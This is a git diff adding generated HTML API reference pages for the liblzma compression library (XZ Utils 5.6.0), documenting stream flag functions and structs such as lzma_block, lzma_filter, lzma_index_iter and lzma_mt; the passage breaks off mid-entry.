+ + diff --git a/doc/api/lzma_8h.html b/doc/api/lzma_8h.html new file mode 100644 index 00000000..04ccb989 --- /dev/null +++ b/doc/api/lzma_8h.html @@ -0,0 +1,115 @@ + + + + + + + +liblzma (XZ Utils): lzma.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma.h File Reference
+
+
+ +

The public API of liblzma data compression library. +More...

+
#include <stddef.h>
+#include <inttypes.h>
+#include <limits.h>
+#include "lzma/version.h"
+#include "lzma/base.h"
+#include "lzma/vli.h"
+#include "lzma/check.h"
+#include "lzma/filter.h"
+#include "lzma/bcj.h"
+#include "lzma/delta.h"
+#include "lzma/lzma12.h"
+#include "lzma/container.h"
+#include "lzma/stream_flags.h"
+#include "lzma/block.h"
+#include "lzma/index.h"
+#include "lzma/index_hash.h"
+#include "lzma/hardware.h"
+
+ + + + + + + + + + + + + + + + + + + +

+Macros

+#define UINT32_C(n)   n ## U
 
+#define UINT64_C(n)   n ## UL
 
+#define UINT32_MAX   (UINT32_C(4294967295))
 
+#define UINT64_MAX   (UINT64_C(18446744073709551615))
 
+#define lzma_nothrow
 
+#define lzma_attr_pure   lzma_attribute((__pure__))
 
+#define lzma_attr_const   lzma_attribute((__const__))
 
+#define lzma_attr_warn_unused_result    lzma_attribute((__warn_unused_result__))
 
+#define LZMA_H_INTERNAL   1
 
+

Detailed Description

+

The public API of liblzma data compression library.

+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/nav_f.png b/doc/api/nav_f.png new file mode 100644 index 00000000..113913ea Binary files /dev/null and b/doc/api/nav_f.png differ diff --git a/doc/api/nav_fd.png b/doc/api/nav_fd.png new file mode 100644 index 00000000..978df01c Binary files /dev/null and b/doc/api/nav_fd.png differ diff --git a/doc/api/nav_g.png b/doc/api/nav_g.png new file mode 100644 index 00000000..2093a237 Binary files /dev/null and b/doc/api/nav_g.png differ diff --git a/doc/api/nav_h.png b/doc/api/nav_h.png new file mode 100644 index 00000000..4e34efd8 Binary files /dev/null and b/doc/api/nav_h.png differ diff --git a/doc/api/nav_hd.png b/doc/api/nav_hd.png new file mode 100644 index 00000000..b717d931 Binary files /dev/null and b/doc/api/nav_hd.png differ diff --git a/doc/api/open.png b/doc/api/open.png new file mode 100644 index 00000000..b4e49d8d Binary files /dev/null and b/doc/api/open.png differ diff --git a/doc/api/splitbar.png b/doc/api/splitbar.png new file mode 100644 index 00000000..ee781cf3 Binary files /dev/null and b/doc/api/splitbar.png differ diff --git a/doc/api/splitbard.png b/doc/api/splitbard.png new file mode 100644 index 00000000..aa4d0290 Binary files /dev/null and b/doc/api/splitbard.png differ diff --git a/doc/api/stream__flags_8h.html b/doc/api/stream__flags_8h.html new file mode 100644 index 00000000..592c2ec0 --- /dev/null +++ b/doc/api/stream__flags_8h.html @@ -0,0 +1,354 @@ + + + + + + + +liblzma (XZ Utils): lzma/stream_flags.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
stream_flags.h File Reference
+
+
+ +

.xz Stream Header and Stream Footer encoder and decoder +More...

+ + + + + +

+Data Structures

struct  lzma_stream_flags
 Options for encoding/decoding Stream Header and Stream Footer. More...
 
+ + + + + + + + + + +

+Macros

#define LZMA_STREAM_HEADER_SIZE   12
 Size of Stream Header and Stream Footer.
 
+#define LZMA_BACKWARD_SIZE_MIN   4
 Minimum value for lzma_stream_flags.backward_size.
 
+#define LZMA_BACKWARD_SIZE_MAX   (LZMA_VLI_C(1) << 34)
 Maximum value for lzma_stream_flags.backward_size.
 
+ + + + + + + + + + + + + + + + +

+Functions

lzma_ret lzma_stream_header_encode (const lzma_stream_flags *options, uint8_t *out) lzma_nothrow lzma_attr_warn_unused_result
 Encode Stream Header.
 
lzma_ret lzma_stream_footer_encode (const lzma_stream_flags *options, uint8_t *out) lzma_nothrow lzma_attr_warn_unused_result
 Encode Stream Footer.
 
lzma_ret lzma_stream_header_decode (lzma_stream_flags *options, const uint8_t *in) lzma_nothrow lzma_attr_warn_unused_result
 Decode Stream Header.
 
lzma_ret lzma_stream_footer_decode (lzma_stream_flags *options, const uint8_t *in) lzma_nothrow lzma_attr_warn_unused_result
 Decode Stream Footer.
 
lzma_ret lzma_stream_flags_compare (const lzma_stream_flags *a, const lzma_stream_flags *b) lzma_nothrow lzma_attr_pure
 Compare two lzma_stream_flags structures.
 
+

Detailed Description

+

.xz Stream Header and Stream Footer encoder and decoder

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_STREAM_HEADER_SIZE

+ +
+
+ + + + +
#define LZMA_STREAM_HEADER_SIZE   12
+
+ +

Size of Stream Header and Stream Footer.

+

Stream Header and Stream Footer have the same size and they are not going to change even if a newer version of the .xz file format is developed in future.

+ +
+
+

Function Documentation

+ +

◆ lzma_stream_header_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_header_encode (const lzma_stream_flagsoptions,
uint8_t * out 
)
+
+ +

Encode Stream Header.

+
Parameters
+ + + +
optionsStream Header options to be encoded. options->backward_size is ignored and doesn't need to be initialized.
[out]outBeginning of the output buffer of LZMA_STREAM_HEADER_SIZE bytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_OPTIONS_ERROR: options->version is not supported by this liblzma version.
  • +
  • LZMA_PROG_ERROR: Invalid options.
  • +
+
+ +
+
+ +

◆ lzma_stream_footer_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_footer_encode (const lzma_stream_flagsoptions,
uint8_t * out 
)
+
+ +

Encode Stream Footer.

+
Parameters
+ + + +
optionsStream Footer options to be encoded.
[out]outBeginning of the output buffer of LZMA_STREAM_HEADER_SIZE bytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_OPTIONS_ERROR: options->version is not supported by this liblzma version.
  • +
  • LZMA_PROG_ERROR: Invalid options.
  • +
+
+ +
+
+ +

◆ lzma_stream_header_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_header_decode (lzma_stream_flagsoptions,
const uint8_t * in 
)
+
+ +

Decode Stream Header.

+

options->backward_size is always set to LZMA_VLI_UNKNOWN. This is to help comparing Stream Flags from Stream Header and Stream Footer with lzma_stream_flags_compare().

+
Note
When decoding .xz files that contain multiple Streams, it may make sense to print "file format not recognized" only if decoding of the Stream Header of the first Stream gives LZMA_FORMAT_ERROR. If non-first Stream Header gives LZMA_FORMAT_ERROR, the message used for LZMA_DATA_ERROR is probably more appropriate. For example, the Stream decoder in liblzma uses LZMA_DATA_ERROR if LZMA_FORMAT_ERROR is returned by lzma_stream_header_decode() when decoding non-first Stream.
+
Parameters
+ + + +
[out]optionsTarget for the decoded Stream Header options.
inBeginning of the input buffer of LZMA_STREAM_HEADER_SIZE bytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful.
  • +
  • LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given buffer cannot be Stream Header.
  • +
  • LZMA_DATA_ERROR: CRC32 doesn't match, thus the header is corrupt.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported options are present in the header.
  • +
+
+ +
+
+ +

◆ lzma_stream_footer_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_footer_decode (lzma_stream_flagsoptions,
const uint8_t * in 
)
+
+ +

Decode Stream Footer.

+
Note
If Stream Header was already decoded successfully, but decoding Stream Footer returns LZMA_FORMAT_ERROR, the application should probably report some other error message than "file format not recognized". The file likely is corrupt (possibly truncated). The Stream decoder in liblzma uses LZMA_DATA_ERROR in this situation.
+
Parameters
+ + + +
[out]optionsTarget for the decoded Stream Footer options.
inBeginning of the input buffer of LZMA_STREAM_HEADER_SIZE bytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful.
  • +
  • LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given buffer cannot be Stream Footer.
  • +
  • LZMA_DATA_ERROR: CRC32 doesn't match, thus the Stream Footer is corrupt.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported options are present in Stream Footer.
  • +
+
+ +
+
+ +

◆ lzma_stream_flags_compare()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_flags_compare (const lzma_stream_flagsa,
const lzma_stream_flagsb 
)
+
+ +

Compare two lzma_stream_flags structures.

+

backward_size values are compared only if both are not LZMA_VLI_UNKNOWN.

+
Parameters
+ + + +
aPointer to lzma_stream_flags structure
bPointer to lzma_stream_flags structure
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Both are equal. If either had backward_size set to LZMA_VLI_UNKNOWN, backward_size values were not compared or validated.
  • +
  • LZMA_DATA_ERROR: The structures differ.
  • +
  • LZMA_OPTIONS_ERROR: version in either structure is greater than the maximum supported version (currently zero).
  • +
  • LZMA_PROG_ERROR: Invalid value, e.g. invalid check or backward_size.
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__allocator.html b/doc/api/structlzma__allocator.html new file mode 100644 index 00000000..77a3e126 --- /dev/null +++ b/doc/api/structlzma__allocator.html @@ -0,0 +1,159 @@ + + + + + + + +liblzma (XZ Utils): lzma_allocator Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_allocator Struct Reference
+
+
+ +

Custom functions for memory handling. + More...

+ +

#include <base.h>

+ + + + + + + + + + + +

+Data Fields

void *(* alloc )(void *opaque, size_t nmemb, size_t size)
 Pointer to a custom memory allocation function.
 
void(* free )(void *opaque, void *ptr)
 Pointer to a custom memory freeing function.
 
void * opaque
 Pointer passed to .alloc() and .free()
 
+

Detailed Description

+

Custom functions for memory handling.

+

A pointer to lzma_allocator may be passed via lzma_stream structure to liblzma, and some advanced functions take a pointer to lzma_allocator as a separate function argument. The library will use the functions specified in lzma_allocator for memory handling instead of the default malloc() and free(). C++ users should note that the custom memory handling functions must not throw exceptions.

+

Single-threaded mode only: liblzma doesn't make an internal copy of lzma_allocator. Thus, it is OK to change these function pointers in the middle of the coding process, but obviously it must be done carefully to make sure that the replacement 'free' can deallocate memory allocated by the earlier 'alloc' function(s).

+

Multithreaded mode: liblzma might internally store pointers to the lzma_allocator given via the lzma_stream structure. The application must not change the allocator pointer in lzma_stream or the contents of the pointed lzma_allocator structure until lzma_end() has been used to free the memory associated with that lzma_stream. The allocation functions might be called simultaneously from multiple threads, and thus they must be thread safe.

+

Field Documentation

+ +

◆ alloc

+ +
+
+ + + + +
void *(* lzma_allocator::alloc) (void *opaque, size_t nmemb, size_t size)
+
+ +

Pointer to a custom memory allocation function.

+

If you don't want a custom allocator, but still want custom free(), set this to NULL and liblzma will use the standard malloc().

+
Parameters
+ + + + +
opaquelzma_allocator.opaque (see below)
nmembNumber of elements like in calloc(). liblzma will always set nmemb to 1, so it is safe to ignore nmemb in a custom allocator if you like. The nmemb argument exists only for compatibility with zlib and libbzip2.
sizeSize of an element in bytes. liblzma never sets this to zero.
+
+
+
Returns
Pointer to the beginning of a memory block of 'size' bytes, or NULL if allocation fails for some reason. When allocation fails, functions of liblzma return LZMA_MEM_ERROR.
+

The allocator should not waste time zeroing the allocated buffers. This is not only about speed, but also memory usage, since the operating system kernel doesn't necessarily allocate the requested memory in physical memory until it is actually used. With small input files, liblzma may actually need only a fraction of the memory that it requested for allocation.

+
Note
LZMA_MEM_ERROR is also used when the size of the allocation would be greater than SIZE_MAX. Thus, don't assume that the custom allocator must have returned NULL if some function from liblzma returns LZMA_MEM_ERROR.
+ +
+
+ +

◆ free

+ +
+
+ + + + +
void(* lzma_allocator::free) (void *opaque, void *ptr)
+
+ +

Pointer to a custom memory freeing function.

+

If you don't want a custom freeing function, but still want a custom allocator, set this to NULL and liblzma will use the standard free().

+
Parameters
+ + + +
opaquelzma_allocator.opaque (see below)
ptrPointer returned by lzma_allocator.alloc(), or when it is set to NULL, a pointer returned by the standard malloc().
+
+
+ +
+
+ +

◆ opaque

+ +
+
+ + + + +
void* lzma_allocator::opaque
+
+ +

Pointer passed to .alloc() and .free()

+

opaque is passed as the first argument to lzma_allocator.alloc() and lzma_allocator.free(). This intended to ease implementing custom memory allocation functions for use with liblzma.

+

If you don't need this, you should set this to NULL.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__block.html b/doc/api/structlzma__block.html new file mode 100644 index 00000000..02985cf8 --- /dev/null +++ b/doc/api/structlzma__block.html @@ -0,0 +1,353 @@ + + + + + + + +liblzma (XZ Utils): lzma_block Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_block Struct Reference
+
+
+ +

Options for the Block and Block Header encoders and decoders. + More...

+ +

#include <block.h>

+ + + + + + + + + + + + + + + + + + + + + + + + + + +

+Data Fields

uint32_t version
 Block format version.
 
uint32_t header_size
 Size of the Block Header field in bytes.
 
lzma_check check
 Type of integrity Check.
 
lzma_vli compressed_size
 Size of the Compressed Data in bytes.
 
lzma_vli uncompressed_size
 Uncompressed Size in bytes.
 
lzma_filterfilters
 Array of filters.
 
uint8_t raw_check [LZMA_CHECK_SIZE_MAX]
 Raw value stored in the Check field.
 
lzma_bool ignore_check
 A flag to Block decoder to not verify the Check field.
 
+

Detailed Description

+

Options for the Block and Block Header encoders and decoders.

+

Different Block handling functions use different parts of this structure. Some read some members, other functions write, and some do both. Only the members listed for reading need to be initialized when the specified functions are called. The members marked for writing will be assigned new values at some point either by calling the given function or by later calls to lzma_code().

+

Field Documentation

+ +

◆ version

+ +
+
+ + + + +
uint32_t lzma_block::version
+
+ +

Block format version.

+

To prevent API and ABI breakages when new features are needed, a version number is used to indicate which members in this structure are in use:

    +
  • liblzma >= 5.0.0: version = 0 is supported.
  • +
  • liblzma >= 5.1.4beta: Support for version = 1 was added, which adds the ignore_check member.
  • +
+

If version is greater than one, most Block related functions will return LZMA_OPTIONS_ERROR (lzma_block_header_decode() works with any version value).

+

Read by:

+

Written by:

+ +
+
+ +

◆ header_size

+ +
+
+ + + + +
uint32_t lzma_block::header_size
+
+
+ +

◆ check

+ +
+
+ + + + +
lzma_check lzma_block::check
+
+ +

Type of integrity Check.

+

The Check ID is not stored into the Block Header, thus its value must be provided also when decoding.

+

Read by:

+ +
+
+ +

◆ compressed_size

+ +
+
+ + + + +
lzma_vli lzma_block::compressed_size
+
+ +

Size of the Compressed Data in bytes.

+

Encoding: If this is not LZMA_VLI_UNKNOWN, Block Header encoder will store this value to the Block Header. Block encoder doesn't care about this value, but will set it once the encoding has been finished.

+

Decoding: If this is not LZMA_VLI_UNKNOWN, Block decoder will verify that the size of the Compressed Data field matches compressed_size.

+

Usually you don't know this value when encoding in streamed mode, and thus cannot write this field into the Block Header.

+

In non-streamed mode you can reserve space for this field before encoding the actual Block. After encoding the data, finish the Block by encoding the Block Header. Steps in detail:

+
    +
  • Set compressed_size to some big enough value. If you don't know better, use LZMA_VLI_MAX, but remember that bigger values take more space in Block Header.
  • +
  • Call lzma_block_header_size() to see how much space you need to reserve for the Block Header.
  • +
  • Encode the Block using lzma_block_encoder() and lzma_code(). It sets compressed_size to the correct value.
  • +
  • Use lzma_block_header_encode() to encode the Block Header. Because space was reserved in the first step, you don't need to call lzma_block_header_size() anymore, because due to reserving, header_size has to be big enough. If it is "too big", lzma_block_header_encode() will add enough Header Padding to make Block Header to match the size specified by header_size.
  • +
+

Read by:

+

Written by:

+ +
+
+ +

◆ uncompressed_size

+ +
+
+ + + + +
lzma_vli lzma_block::uncompressed_size
+
+ +

Uncompressed Size in bytes.

+

This is handled very similarly to compressed_size above.

+

uncompressed_size is needed by fewer functions than compressed_size. This is because uncompressed_size isn't needed to validate that Block stays within proper limits.

+

Read by:

+

Written by:

+ +
+
+ +

◆ filters

+ +
+
+ + + + +
lzma_filter* lzma_block::filters
+
+ +

Array of filters.

+

There can be 1-4 filters. The end of the array is marked with .id = LZMA_VLI_UNKNOWN.

+

Read by:

+

Written by:

    +
  • lzma_block_header_decode(): Note that this does NOT free() the old filter options structures. All unused filters[] will have .id == LZMA_VLI_UNKNOWN and .options == NULL. If decoding fails, all filters[] are guaranteed to be LZMA_VLI_UNKNOWN and NULL.
  • +
+
Note
Because of the array is terminated with .id = LZMA_VLI_UNKNOWN, the actual array must have LZMA_FILTERS_MAX + 1 members or the Block Header decoder will overflow the buffer.
+ +
+
+ +

◆ raw_check

+ +
+
+ + + + +
uint8_t lzma_block::raw_check[LZMA_CHECK_SIZE_MAX]
+
+ +

Raw value stored in the Check field.

+

After successful coding, the first lzma_check_size(check) bytes of this array contain the raw value stored in the Check field.

+

Note that CRC32 and CRC64 are stored in little endian byte order. Take it into account if you display the Check values to the user.

+

Written by:

+ +
+
+ +

◆ ignore_check

+ +
+
+ + + + +
lzma_bool lzma_block::ignore_check
+
+ +

A flag to Block decoder to not verify the Check field.

+

This member is supported by liblzma >= 5.1.4beta if .version >= 1.

+

If this is set to true, the integrity check won't be calculated and verified. Unless you know what you are doing, you should leave this to false. (A reason to set this to true is when the file integrity is verified externally anyway and you want to speed up the decompression, which matters mostly when using SHA-256 as the integrity check.)

+

If .version >= 1, read by:

+

Written by (.version is ignored):

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__filter.html b/doc/api/structlzma__filter.html new file mode 100644 index 00000000..5f4afb73 --- /dev/null +++ b/doc/api/structlzma__filter.html @@ -0,0 +1,120 @@ + + + + + + + +liblzma (XZ Utils): lzma_filter Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_filter Struct Reference
+
+
+ +

Filter options. + More...

+ +

#include <filter.h>

+ + + + + + + + +

+Data Fields

lzma_vli id
 Filter ID.
 
void * options
 Pointer to filter-specific options structure.
 
+

Detailed Description

+

Filter options.

+

This structure is used to pass a Filter ID and a pointer to the filter's options to liblzma. A few functions work with a single lzma_filter structure, while most functions expect a filter chain.

+

A filter chain is indicated with an array of lzma_filter structures. The array is terminated with .id = LZMA_VLI_UNKNOWN. Thus, the filter array must have LZMA_FILTERS_MAX + 1 elements (that is, five) to be able to hold any arbitrary filter chain. This is important when using lzma_block_header_decode() from block.h, because a filter array that is too small would make liblzma write past the end of the array.

+

Field Documentation

+ +

◆ id

+ +
+
+ + + + +
lzma_vli lzma_filter::id
+
+ +

Filter ID.

+

Use constants whose name begin with 'LZMA_FILTER_' to specify different filters. In an array of lzma_filter structures, use LZMA_VLI_UNKNOWN to indicate end of filters.

+
Note
This is not an enum, because on some systems enums cannot be 64-bit.
+ +
+
+ +

◆ options

+ +
+
+ + + + +
void* lzma_filter::options
+
+ +

Pointer to filter-specific options structure.

+

If the filter doesn't need options, set this to NULL. If id is set to LZMA_VLI_UNKNOWN, options is ignored, and thus doesn't need be initialized.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__index__iter.html b/doc/api/structlzma__index__iter.html new file mode 100644 index 00000000..c8437356 --- /dev/null +++ b/doc/api/structlzma__index__iter.html @@ -0,0 +1,413 @@ + + + + + + + +liblzma (XZ Utils): lzma_index_iter Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_index_iter Struct Reference
+
+
+ +

Iterator to get information about Blocks and Streams. + More...

+ +

#include <index.h>

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Data Fields

+struct { 
 
   const lzma_stream_flags *   flags 
 Pointer to Stream Flags. More...
 
   lzma_vli   number 
 Stream number in the lzma_index. More...
 
   lzma_vli   block_count 
 Number of Blocks in the Stream. More...
 
   lzma_vli   compressed_offset 
 Compressed start offset of this Stream. More...
 
   lzma_vli   uncompressed_offset 
 Uncompressed start offset of this Stream. More...
 
   lzma_vli   compressed_size 
 Compressed size of this Stream. More...
 
+   lzma_vli   uncompressed_size 
 Uncompressed size of this Stream.
 
   lzma_vli   padding 
 Size of Stream Padding after this Stream. More...
 
stream 
 
+struct { 
 
   lzma_vli   number_in_file 
 Block number in the file. More...
 
   lzma_vli   compressed_file_offset 
 Compressed start offset of this Block. More...
 
   lzma_vli   uncompressed_file_offset 
 Uncompressed start offset of this Block. More...
 
   lzma_vli   number_in_stream 
 Block number in this Stream. More...
 
   lzma_vli   compressed_stream_offset 
 Compressed start offset of this Block. More...
 
   lzma_vli   uncompressed_stream_offset 
 Uncompressed start offset of this Block. More...
 
   lzma_vli   uncompressed_size 
 Uncompressed size of this Block. More...
 
   lzma_vli   unpadded_size 
 Unpadded size of this Block. More...
 
   lzma_vli   total_size 
 Total compressed size. More...
 
block 
 
+

Detailed Description

+

Iterator to get information about Blocks and Streams.

+

Field Documentation

+ +

◆ flags

+ +
+
+ + + + +
const lzma_stream_flags* lzma_index_iter::flags
+
+ +

Pointer to Stream Flags.

+

This is NULL if Stream Flags have not been set for this Stream with lzma_index_stream_flags().

+ +
+
+ +

◆ number

+ +
+
+ + + + +
lzma_vli lzma_index_iter::number
+
+ +

Stream number in the lzma_index.

+

The first Stream is 1.

+ +
+
+ +

◆ block_count

+ +
+
+ + + + +
lzma_vli lzma_index_iter::block_count
+
+ +

Number of Blocks in the Stream.

+

If this is zero, the block structure below has undefined values.

+ +
+
+ +

◆ compressed_offset

+ +
+
+ + + + +
lzma_vli lzma_index_iter::compressed_offset
+
+ +

Compressed start offset of this Stream.

+

The offset is relative to the beginning of the lzma_index (i.e. usually the beginning of the .xz file).

+ +
+
+ +

◆ uncompressed_offset

+ +
+
+ + + + +
lzma_vli lzma_index_iter::uncompressed_offset
+
+ +

Uncompressed start offset of this Stream.

+

The offset is relative to the beginning of the lzma_index (i.e. usually the beginning of the .xz file).

+ +
+
+ +

◆ compressed_size

+ +
+
+ + + + +
lzma_vli lzma_index_iter::compressed_size
+
+ +

Compressed size of this Stream.

+

This includes all headers except the possible Stream Padding after this Stream.

+ +
+
+ +

◆ uncompressed_size

+ +
+
+ + + + +
lzma_vli lzma_index_iter::uncompressed_size
+
+ +

Uncompressed size of this Stream.

+

Uncompressed size of this Block.

+

You should pass this to the Block decoder if you will decode this Block. It will allow the Block decoder to validate the uncompressed size.

+ +
+
+ +

◆ padding

+ +
+
+ + + + +
lzma_vli lzma_index_iter::padding
+
+ +

Size of Stream Padding after this Stream.

+

If it hasn't been set with lzma_index_stream_padding(), this defaults to zero. Stream Padding is always a multiple of four bytes.

+ +
+
+ +

◆ number_in_file

+ +
+
+ + + + +
lzma_vli lzma_index_iter::number_in_file
+
+ +

Block number in the file.

+

The first Block is 1.

+ +
+
+ +

◆ compressed_file_offset

+ +
+
+ + + + +
lzma_vli lzma_index_iter::compressed_file_offset
+
+ +

Compressed start offset of this Block.

+

This offset is relative to the beginning of the lzma_index (i.e. usually the beginning of the .xz file). Normally this is where you should seek in the .xz file to start decompressing this Block.

+ +
+
+ +

◆ uncompressed_file_offset

+ +
+
+ + + + +
lzma_vli lzma_index_iter::uncompressed_file_offset
+
+ +

Uncompressed start offset of this Block.

+

This offset is relative to the beginning of the lzma_index (i.e. usually the beginning of the .xz file).

+

When doing random-access reading, it is possible that the target offset is not exactly at Block boundary. One will need to compare the target offset against uncompressed_file_offset or uncompressed_stream_offset, and possibly decode and throw away some amount of data before reaching the target offset.

+ +
+
+ +

◆ number_in_stream

+ +
+
+ + + + +
lzma_vli lzma_index_iter::number_in_stream
+
+ +

Block number in this Stream.

+

The first Block is 1.

+ +
+
+ +

◆ compressed_stream_offset

+ +
+
+ + + + +
lzma_vli lzma_index_iter::compressed_stream_offset
+
+ +

Compressed start offset of this Block.

+

This offset is relative to the beginning of the Stream containing this Block.

+ +
+
+ +

◆ uncompressed_stream_offset

+ +
+
+ + + + +
lzma_vli lzma_index_iter::uncompressed_stream_offset
+
+ +

Uncompressed start offset of this Block.

+

This offset is relative to the beginning of the Stream containing this Block.

+ +
+
+ +

◆ unpadded_size

+ +
+
+ + + + +
lzma_vli lzma_index_iter::unpadded_size
+
+ +

Unpadded size of this Block.

+

You should pass this to the Block decoder if you will decode this Block. It will allow the Block decoder to validate the unpadded size.

+ +
+
+ +

◆ total_size

+ +
+
+ + + + +
lzma_vli lzma_index_iter::total_size
+
+ +

Total compressed size.

+

This includes all headers and padding in this Block. This is useful if you need to know how many bytes the Block decoder will actually read.

+ +
+
+
The documentation for this struct was generated from the following file: +
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/structlzma__mt.html b/doc/api/structlzma__mt.html new file mode 100644 index 00000000..0311a0d7 --- /dev/null +++ b/doc/api/structlzma__mt.html @@ -0,0 +1,262 @@ + + + + + + + +liblzma (XZ Utils): lzma_mt Struct Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+ +
lzma_mt Struct Reference
+
+
+ +

Multithreading options. + More...

+ +

#include <container.h>

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Data Fields

uint32_t flags
 Flags.
 
+uint32_t threads
 Number of worker threads to use.
 
uint64_t block_size
 Encoder only: Maximum uncompressed size of a Block.
 
uint32_t timeout
 Timeout to allow lzma_code() to return early.
 
uint32_t preset
 Encoder only: Compression preset.
 
const lzma_filterfilters
 Encoder only: Filter chain (alternative to a preset)
 
lzma_check check
 Encoder only: Integrity check type.
 
uint64_t memlimit_threading
 Memory usage limit to reduce the number of threads.
 
uint64_t memlimit_stop
 Memory usage limit that should never be exceeded.
 
+

Detailed Description

+

Multithreading options.

+

Field Documentation

+ +

◆ flags

+ +
+
+ + + + +
uint32_t lzma_mt::flags
+
+ +

Flags.

+

Set this to zero if no flags are wanted.

+

Encoder: No flags are currently supported.

+

Decoder: Bitwise-or of zero or more of the decoder flags:

    +
  • LZMA_TELL_NO_CHECK
  • +
  • LZMA_TELL_UNSUPPORTED_CHECK
  • +
  • LZMA_TELL_ANY_CHECK
  • +
  • LZMA_IGNORE_CHECK
  • +
  • LZMA_CONCATENATED
  • +
  • LZMA_FAIL_FAST
  • +
+ +
+
+ +

◆ block_size

+ +
+
+ + + + +
uint64_t lzma_mt::block_size
+
+ +

Encoder only: Maximum uncompressed size of a Block.

+

The encoder will start a new .xz Block every block_size bytes. Using LZMA_FULL_FLUSH or LZMA_FULL_BARRIER with lzma_code() the caller may tell liblzma to start a new Block earlier.

+

With LZMA2, a recommended block size is 2-4 times the LZMA2 dictionary size. With very small dictionaries, it is recommended to use at least 1 MiB block size for good compression ratio, even if this is more than four times the dictionary size. Note that these are only recommendations for typical use cases; feel free to use other values. Just keep in mind that using a block size less than the LZMA2 dictionary size is waste of RAM.

+

Set this to 0 to let liblzma choose the block size depending on the compression options. For LZMA2 it will be 3*dict_size or 1 MiB, whichever is more.

+

For each thread, about 3 * block_size bytes of memory will be allocated. This may change in later liblzma versions. If so, the memory usage will probably be reduced, not increased.

+ +
+
+ +

◆ timeout

+ +
+
+ + + + +
uint32_t lzma_mt::timeout
+
+ +

Timeout to allow lzma_code() to return early.

+

Multithreading can make liblzma consume input and produce output in a very bursty way: it may first read a lot of input to fill internal buffers, then no input or output occurs for a while.

+

In single-threaded mode, lzma_code() won't return until it has either consumed all the input or filled the output buffer. If this is done in multithreaded mode, it may cause a call lzma_code() to take even tens of seconds, which isn't acceptable in all applications.

+

To avoid very long blocking times in lzma_code(), a timeout (in milliseconds) may be set here. If lzma_code() would block longer than this number of milliseconds, it will return with LZMA_OK. Reasonable values are 100 ms or more. The xz command line tool uses 300 ms.

+

If long blocking times are acceptable, set timeout to a special value of 0. This will disable the timeout mechanism and will make lzma_code() block until all the input is consumed or the output buffer has been filled.

+
Note
Even with a timeout, lzma_code() might sometimes take a long time to return. No timing guarantees are made.
+ +
+
+ +

◆ preset

+ +
+
+ + + + +
uint32_t lzma_mt::preset
+
+ +

Encoder only: Compression preset.

+

The preset is set just like with lzma_easy_encoder(). The preset is ignored if filters below is non-NULL.

+ +
+
+ +

◆ filters

+ +
+
+ + + + +
const lzma_filter* lzma_mt::filters
+
+ +

Encoder only: Filter chain (alternative to a preset)

+

If this is NULL, the preset above is used. Otherwise the preset is ignored and the filter chain specified here is used.

+ +
+
+ +

◆ check

+ +
+
+ + + + +
lzma_check lzma_mt::check
+
+ +

Encoder only: Integrity check type.

+

See check.h for available checks. The xz command line tool defaults to LZMA_CHECK_CRC64, which is a good choice if you are unsure.

+ +
+
+ +

◆ memlimit_threading

+ +
+
+ + + + +
uint64_t lzma_mt::memlimit_threading
+
+ +

Memory usage limit to reduce the number of threads.

+

Encoder: Ignored.

+

Decoder:

+

